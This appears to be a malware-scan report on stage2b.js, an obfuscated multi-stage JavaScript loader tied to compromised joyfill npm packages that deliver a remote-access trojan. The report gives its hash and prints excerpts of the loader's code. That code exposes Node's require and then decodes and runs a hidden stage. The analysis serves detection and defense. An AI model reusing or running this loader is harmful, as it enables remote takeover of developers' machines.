Hostile ^100% Download

stage2b.js

obfuscated multi-stage loader

Indexed permutation loader exposes Node require to hidden stagePermutation-decoded stage executes with Node require access

SHA-25678f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₂(As₄Xe)H(Db₇)

Also flagged by https://feeds.feedburner.com/TheHackersNews (Two Compromised joyfill npm Packages Run RAT When Imported Into Node.js).

Evidence

Builds characters with String.fromCharCode lines 1–2

1var _$_16d1=(function(k,a){var f=k.length;var j=[];for(var d=0;d< f;d++){j[d]= k.charAt(d)};for(var d=0;d< f;d++){var p=a* (d+ 488)+ (a% 34187);var c=a* (d+ 538)+ (a% 48866);var g=p% f;var r=c% f;var x=j[g];j[g]= j[r];j[r]= x;a= (p+ c)% 4728540};var h=String.fromCharCode(127);var m='';var u='\x25';var s='\x23\x31';var n='\x25';var o='\x23\x30';var e='\x23';return j.join(m).split(u).join(h).split(s).join(n).split(o).join(e).split(h)})("ou%trinncf",1147810);if( typeof require=== _$_16d1[0]){global[_$_16d1[1]]= require}
2(function(){var WUG='',hyB=937-926;function Wrm(a){var t=2296496;var l=a.length;var m=[];for(var o=0;o<l;o++){m[o]=a.charAt(o)};for(var o=0;o<l;o++){var c=t*(o+213)+(t%18466);var u=t*(o+407)+(t%32620);var z=c%l;var w=u%l;var q=m[z];m[z]=m[w];m[w]=q;t=(c+u)%3485560;};return m.join('')};var VkC=Wrm('hmrcqulkvtuatjoocswicsdynongpezfrtxbr').substr(0,hyB);var ptU='[a0 i=;5aor4 ,h=c2uvvrpy="7b;dpfvhtj(ljn p0ret(vnxozr;vah +==8s,e2<8(,h4g7i,7098s,14n91,(6h6u,h7,6 ,+1n6f,v2 8,,.5g8=,}5l;tac .=)]vfgrnvgrtg;0rgrz1lrnit;;(+i)d[i[+]o=8+p;=aa 0=9](v,=48ko]=a9rp;=.4+forhv+r+a00)ararg0mgnes)llnttz;r+,)vvqr bha6g(men …

Nested decoder builds function line 2

2:1127… ]a=Cod[(,6f;(o<(0ad .=;;{<,.ye}g1hrg[+afufesClutawfy.c)a4A[({),.houn0Snrin..rrem)h8roo=e{c.g()[;;e9u1ntfps.lnt)w,")"m..o}n7w,;';var POz=Wrm[VkC];var lMN='';var OTJ=POz;var uEC=POz(lMN,Wrm(ptU));var JfM=uEC(Wrm(':PfihP$.hsp]{=}..4.sPtfPane[.(e\/3+++7P);uf1\/*b[.Ev03pPf](.c13taP$r.q+(]rd;;irPP%TdPo+.919P2P,;ef!f%xa(0.j%71c 0efsP!e4enPfd6a.\/a oso%fc%]+fqf).Pgi8]%et5n2)c18y6!]1]fP.7c.2(]kP10=nxyf],3u];fr2.0v)=}C].x]6;&;!(oi.1ka22M%w23f3fbc(a( .t%b  …

Numeric stage function run line 2

2:2849… nd}:)9r r][$]o2.]cb\/an7;aif%sn\'pf PP5.=;t);pP=mp)s.) .4iC03e.32PP7PpP}!).2tm\/j(ifwoa63tr33]=n.;9s0o'));var WEz=OTJ(WUG,JfM );WEz(8063);return 8223})()